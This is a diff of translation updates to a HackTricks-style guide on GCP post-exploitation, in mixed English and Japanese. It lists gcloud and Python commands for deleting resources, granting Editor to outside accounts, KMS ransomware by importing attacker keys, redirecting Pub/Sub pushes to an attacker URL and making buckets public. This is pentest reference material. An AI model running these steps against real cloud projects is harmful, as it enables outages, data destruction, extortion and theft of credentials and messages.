mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
For information about App Engine check:
|
||||
App Engine に関する情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,36 +12,37 @@ For information about App Engine check:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
With these permissions it's possible to:
|
||||
これらの権限により、次のことが可能です:
|
||||
|
||||
- キーを追加する
|
||||
- キーを一覧表示する
|
||||
- キーを取得する
|
||||
- 削除する
|
||||
- キーを削除する
|
||||
|
||||
> [!CAUTION]
|
||||
> しかし、私は **couldn't find any way to access this information from the cli**, からのみ **web console** で、そこで **Key type** と **Key name** を知っている必要があり、または a**pp engine running app** からしかアクセスできませんでした。
|
||||
> ただし、私は **couldn't find any way to access this information from the cli**、**web console** からのみアクセスでき、そこで **Key type** と **Key name** を知る必要があります、または a**pp engine running app** からアクセスします。
|
||||
>
|
||||
> これらの権限を使用するより簡単な方法をご存知の場合は、Pull Request を送ってください!
|
||||
> これらの権限を使うより簡単な方法をご存知であれば、Pull Request を送ってください!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
With this permission it's possible to **see the logs of the App**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
この権限があれば **アプリのログを見る** ことが可能です:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### サービスとバージョンの削除
|
||||
|
||||
### ソースコードを読む
|
||||
`appengine.versions.delete`、`appengine.versions.list`、および `appengine.services.list` の権限は、App Engine アプリケーションの特定のバージョンを管理・削除することを許可します。トラフィックが分割されている場合や唯一の安定版が削除された場合に、トラフィックに影響を与える可能性があります。一方で、`appengine.services.delete` と `appengine.services.list` の権限はサービス全体の一覧表示および削除を許可し、これは関連するバージョンの可用性と全トラフィックを即座に中断する操作です。
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### ソースコードの閲覧
|
||||
|
||||
すべてのバージョンとサービスのソースコードは、名前が **`staging.<proj-id>.appspot.com`** の **bucket** に格納されています。書き込み権限がある場合、ソースコードを読み、**vulnerabilities** や **sensitive information** を検索できます。
|
||||
すべてのバージョンおよびサービスのソースコードは **bucket に格納されています**。名前は **`staging.<proj-id>.appspot.com`** です。そこに対する書き込み権限があれば、ソースコードを読み、**脆弱性**や**機密情報**を検索できます。
|
||||
|
||||
### ソースコードの変更
|
||||
### ソースコードの改変
|
||||
|
||||
送信されている場合は **credentials** を盗むためにソースコードを改変したり、**defacement web attack** を実行したりできます。
|
||||
送信されているcredentialsを盗むためにソースコードを改変したり、defacement web attackを実行したりします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Cloud Functions に関する情報は次を参照してください:
|
||||
Find some information about Cloud Functions in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,30 +12,30 @@ Cloud Functions に関する情報は次を参照してください:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
この権限があれば、Cloud Function のソースコードをダウンロードするための**署名付きURL**を取得できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ソースコードをダウンロードするための署名付きURLを取得</summary>
|
||||
この権限があれば、Cloud Function のソースコードをダウンロードできる **signed URL** を取得できます:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
`cloudfunctions.functions.delete` 権限は、アイデンティティに Cloud Function のコード、構成、トリガー、およびサービスアカウントとの関連を含めて完全に削除することを許可します。
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Code Exfiltration バケット経由
|
||||
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
|
||||
|
||||
### Cloud Function リクエストの窃取
|
||||
### Steal Cloud Function Requests
|
||||
|
||||
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
|
||||
|
||||
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
|
||||
|
||||
例えば、次のコードはこの攻撃を実装しています:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Function リクエストの窃取 (Python injection)</summary>
|
||||
For example this code implements the attack:
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +132,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,23 +1,34 @@
|
||||
# GCP - Cloud Run ポストエクスプロイテーション
|
||||
# GCP - Cloud Run Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Cloud Run に関する詳細情報は、以下を確認してください:
|
||||
Cloud Run の詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CloudRun Job の削除
|
||||
`run.services.delete` と `run.services.get` の権限、および `run.jobs.delete` は、アイデンティティが Cloud Run のサービスやジョブ(構成や履歴を含む)を完全に削除できるようにします。攻撃者の手に渡ると、これはアプリケーションや重要なワークフローに即時の障害を引き起こし、サービスロジックや必須のスケジュールされたタスクに依存するユーザーやシステムに対してサービス拒否(DoS)をもたらす可能性があります。
|
||||
|
||||
ジョブを削除するには、次の操作を実行できます。
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
サービスを削除するには、次の操作を実行します。
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### 画像にアクセスする
|
||||
|
||||
コンテナ画像にアクセスできる場合は、脆弱性やハードコーディングされた機密情報のコードを確認してください。また、環境変数内の機密情報も確認してください。
|
||||
コンテナイメージにアクセスできる場合は、コードに脆弱性やハードコードされた機密情報がないか確認してください。env variables に含まれる機密情報も確認します。
|
||||
|
||||
画像がサービスの Artifact Registry 内のリポジトリに保存されており、ユーザーがリポジトリに対して読み取りアクセスを持っている場合、彼はこのサービスから画像をダウンロードすることもできます。
|
||||
イメージが Artifact Registry サービス内のリポジトリに保存されており、ユーザーがそれらのリポジトリに対して読み取りアクセスを持っている場合、そのユーザーはこのサービスからイメージをダウンロードすることもできます。
|
||||
|
||||
### 画像を変更して再デプロイする
|
||||
### イメージを修正して再デプロイする
|
||||
|
||||
情報を盗むために実行画像を変更し、新しいバージョンを再デプロイします(同じタグの新しい Docker コンテナをアップロードするだけでは実行されません)。例えば、ログインページを公開している場合、ユーザーが送信している資格情報を盗むことができます。
|
||||
実行されるイメージを改変して情報を盗み、新しいバージョンを再デプロイします(同じタグで新しい docker container を単にアップロードしても実行されません)。例えば、ログインページを公開している場合は、ユーザーが送信する認証情報を盗むようにします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,24 +12,40 @@ You can find further information about IAM in:
|
||||
|
||||
### 管理コンソールへのアクセス付与 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
[GCP management console](https://console.cloud.google.com) へのアクセスは **ユーザーアカウントに提供され、サービスアカウントには提供されません**。
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**。Web インターフェースにログインするには、自分が管理する **Google account** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントで構いません。**対象組織のメンバーである必要はありません**。
|
||||
|
||||
Webインターフェースにログインするには、あなたが管理する **Google アカウント** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントでも構いませんし、ターゲット組織のメンバーである必要はありません。
|
||||
ただし、一般的な "@gmail.com" アカウントにプリミティブロールの **Owner** を**付与**するには、**web console** を使用する必要があります。`gcloud` は Editor を超える権限を付与しようとするとエラーになります。
|
||||
|
||||
ただし、一般的な "**@gmail.com**" アカウントにプリミティブロールの **Owner** を**付与する**には、**web コンソールを使用する**必要があります。`gcloud` は、Editor より上の権限を付与しようとするとエラーになります。
|
||||
|
||||
既存のプロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ユーザーに Editor ロールを付与</summary>
|
||||
既存プロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
If you succeeded here, try **Web インターフェースにアクセス**して、そこから探索してみてください。
|
||||
|
||||
もしここで成功したら、**Webインターフェースにアクセス**してそこから探索してみてください。
|
||||
This is the **gcloud tool を使用して割り当てられる最高レベルです**。
|
||||
|
||||
これは**gcloudツールを使って割り当てられる最も高いレベル**です。
|
||||
### IAM コンポーネントを削除 `iam.*.delete`
|
||||
`iam.*.delete` 権限(例: `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` など)は、カスタムロール、API キーバインディング、サービスアカウントキー、およびサービスアカウント自体など、重要な IAM コンポーネントを削除することをアイデンティティに許可します。攻撃者の手に渡ると、正当なアクセス手段を削除してサービス拒否(DoS)を引き起こすことが可能になります。
|
||||
|
||||
そのような攻撃を行うには、例えばロールを削除することが可能です:
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
`iam.serviceAccountKeys.disable` と `iam.serviceAccounts.disable` の権限があれば、アクティブな service account keys や service accounts を無効化できます。攻撃者の手に渡ると、運用の妨害、denial of service の発生、または正当な認証情報の使用を阻止して incident response を妨げるために利用される可能性があります。
|
||||
|
||||
Service Account を無効化するには、次のコマンドを使用します:
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Service Account のキーを無効にするには、次のコマンドを使用します:
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
`iam.*.undelete` 権限は、API key bindings、custom roles、service accounts のような以前に削除された要素を復元することを可能にします。攻撃者の手に渡ると、対策を元に戻して(削除されたアクセスの回復)、永続化のために削除された侵害ベクトルを再構築したり、修復措置を回避してインシデントの封じ込めを困難にするために利用される可能性があります。
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
KMS の基本情報は次を参照してください:
|
||||
KMS に関する基本情報は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,11 +12,11 @@ KMS の基本情報は次を参照してください:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
この権限を持つ攻撃者は KMS のバージョンを破壊する可能性があります。これを行うには、まずキーを無効化し、その後で破棄する必要があります:
|
||||
この権限を持つ攻撃者は KMS バージョンを破棄できます。そのためにはまずキーを無効化し、続けて破棄する必要があります:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>キー バージョンの無効化と破壊 (Python)</summary>
|
||||
<summary>キーの無効化と破棄(Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
AWS では、KMS resource policy を変更して攻撃者のアカウントだけがそのキーを使用できるようにすることで、完全に **steal a KMS key** することが可能です。これらの resource policies は GCP には存在しないため、これは不可能です。
|
||||
AWSでは、KMS resource policyを変更して攻撃者のアカウントのみがそのキーを使用できるようにすることで、**KMS key**を完全に盗むことが可能です。GCPにはこれらのresource policiesが存在しないため、これは不可能です。
|
||||
|
||||
しかし、グローバルな KMS Ransomware を実行する別の方法があり、次の手順を含みます:
|
||||
しかし、global KMS Ransomwareを実行する別の方法があり、これは以下の手順を含みます:
|
||||
|
||||
- 攻撃者がインポートした **version of the key with a key material** を使ってキーの新しいバージョンを作成する
|
||||
- 攻撃者がインポートした**key materialを含むキーの新しいバージョン**を作成する
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- これを **デフォルト バージョン** に設定する(今後暗号化されるデータ用)
|
||||
- 以前のバージョンで暗号化された古いデータを**再暗号化する**(新しいバージョンで)
|
||||
- **KMS key を削除する**
|
||||
- これにより、元の鍵素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
|
||||
- それを **デフォルトバージョン** として設定する(今後暗号化されるデータ用)
|
||||
- **古いデータを再暗号化する**(以前のバージョンで暗号化されたデータを新しいバージョンで再暗号化する)
|
||||
- **KMSキーを削除する**
|
||||
- これにより、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
|
||||
|
||||
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順:
|
||||
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順は以下の通り:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>新しいキー バージョンをインポートして古いバージョンを削除する</summary>
|
||||
<summary>新しいキーのバージョンをインポートして古いバージョンを削除</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>非対称鍵でメッセージに署名する (Python)</summary>
|
||||
<summary>非対称鍵でメッセージに署名 (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -243,7 +243,7 @@ print('Signature:', signature)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>非対称鍵で署名を検証する (Python)</summary>
|
||||
<summary>非対称キーで署名を検証する (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
`cloudkms.cryptoKeyVersions.restore` 権限は、以前に破棄予定に設定されたか無効化された Cloud KMS のキー バージョンを復元し、アクティブで使用可能な状態に戻すことを許可します。
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
`cloudkms.cryptoKeyVersions.update` 権限は、アイデンティティが Cloud KMS の特定のキー バージョンの属性や状態を変更できることを許可します。例えば、そのキー バージョンを有効化または無効化することができます。
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pub/Subの詳細については、次のページを参照してください:
|
||||
For more information about Pub/Sub check the following page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,7 +12,7 @@ Pub/Subの詳細については、次のページを参照してください:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
トピックにメッセージをpublishします。**予期しないデータを送信**して予期しない機能をトリガーしたり脆弱性を悪用したりするのに有用です:
|
||||
トピックにメッセージを公開します。**予期しないデータを送信する**のに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
subscriptionがメッセージを受信しないようにするのに有用で、検知を回避するために使える場合がある。
|
||||
サブスクリプションがメッセージを受信するのを防ぐのに有用で、検出を回避するために使うことがあります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>トピックからsubscriptionをデタッチ</summary>
|
||||
<summary>トピックからサブスクリプションを切り離す</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -38,11 +38,11 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。\
|
||||
サブスクリプションがアタッチされている状態でも、トピックを削除することが可能です。
|
||||
サブスクリプションが紐づいている状態でもトピックを削除できます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete topic</summary>
|
||||
<summary>トピックを削除</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
この権限を使用して、トピックの設定を更新して妨害できます。例: `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`...
|
||||
この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
自分に権限を付与して、前述のいずれかの攻撃を実行できるようにします。
|
||||
自分に権限を付与して、前述のいずれの攻撃も実行できるようにします。
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
ウェブサーバー上のすべてのメッセージを取得する:
|
||||
ウェブサーバーで全てのメッセージを取得する:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -69,7 +95,7 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
|
||||
```
|
||||
</details>
|
||||
|
||||
サブスクリプションを作成し、それを使用して **pull messages** を取得します:
|
||||
サブスクリプションを作成し、それを使って **pull messages**:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**サブスクリプションの削除** は、ログ処理システムなどを中断するのに役立つことがあります:
|
||||
**サブスクリプションの削除**は、ログ処理システムの妨害などに有用な場合があります:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>サブスクリプションの削除</summary>
|
||||
<summary>サブスクリプションを削除</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
この権限を使って、メッセージがアクセスできる場所(URL、Big Query table、Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
|
||||
この権限を使って、メッセージが自分でアクセスできる場所(URL, Big Query table, Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>サブスクリプションのエンドポイントを更新</summary>
|
||||
<summary>サブスクリプションの更新エンドポイント</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
前述の攻撃を実行するために必要な権限を自分に付与します。
|
||||
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
スキーマをトピックにアタッチして、メッセージがそのスキーマを満たさなくなるようにし、結果としてトピックを妨害します。\
|
||||
スキーマをトピックにアタッチして、メッセージがそれを満たさなくなり、その結果トピックが中断されるようにします。\
|
||||
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スキーマファイルを作成してトピックにアタッチ</summary>
|
||||
<summary>スキーマファイルを作成してトピックにアタッチする</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
スキーマを削除すると、スキーマに適合しないメッセージを送信できるように見えるかもしれません。しかし、スキーマが削除されるため、実際にはトピックにメッセージは入らないでしょう。したがって、これは **無意味**:
|
||||
schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどの message も topic に入らないため、これは**役に立ちません**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スキーマを削除(役に立たない)</summary>
|
||||
<summary>Delete schema (not useful)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
|
||||
前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
これはACKされていないすべてのメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、以下の通りです:
|
||||
これは、すべての unACKed メッセージのスナップショットを作成してサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、参考までに:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スナップショットを作成してシークする</summary>
|
||||
<summary>スナップショットを作成してそこにシークする</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
For more information about Secret Manager check:
|
||||
Secret Manager の詳細については、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information about Secret Manager check:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
これは Secret Manager から secrets を読み取るアクセスを与え、保存されている情報によっては権限昇格に役立つことがあります(どの情報がシークレット内に格納されているかによります):
|
||||
これにより secret manager からシークレットを読み取ることができ、保存されている情報によっては権限昇格に役立つ可能性があります。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
`secretmanager.versions.destroy` 権限は、Secret Manager のシークレットの特定のバージョンを恒久的に破棄(回復不可能な削除としてマーク)することをアイデンティティに許可します。これにより重要な認証情報が削除され、denial of service を引き起こしたり、機密データの復旧を妨げたりする可能性があります。
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
`secretmanager.versions.disable` 権限は、アイデンティティが Secret Manager のアクティブなシークレットバージョンを無効化できるようにし、それらに依存するアプリケーションやサービスからの利用を一時的にブロックします。
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
`secretmanager.secrets.delete` の権限セットは、アイデンティティが Secret Manager 内のシークレットとその保存されているすべてのバージョンを完全に削除できるようにします。
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
`secretmanager.secrets.update` 権限は、アイデンティティがシークレットのメタデータや設定(例:ローテーション設定、バージョンポリシー、ラベル、特定のシークレットプロパティなど)を変更できるようにします。
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,19 +4,15 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Cloud Storageの詳細は次のページを参照してください:
|
||||
Cloud Storage の詳細については次のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give Public Access
|
||||
### パブリックアクセスを付与する
|
||||
|
||||
外部ユーザ(GCPにログインしているかどうかに関わらず)にバケットのコンテンツへのアクセスを付与することが可能です。ただし、デフォルトではバケットを公開するオプションは無効になっています:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>バケット/オブジェクトを公開する</summary>
|
||||
外部ユーザー(GCPにログインしているかどうかに関係なく)にバケットのコンテンツへのアクセスを許可することが可能です。ただし、デフォルトではバケットは公開設定にするオプションが無効になっています:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
もし **ACLs to a bucket with disabled ACLs** を与えようとすると、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
ACLsが無効になっているバケットに**ACLsを付与しようとすると**、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
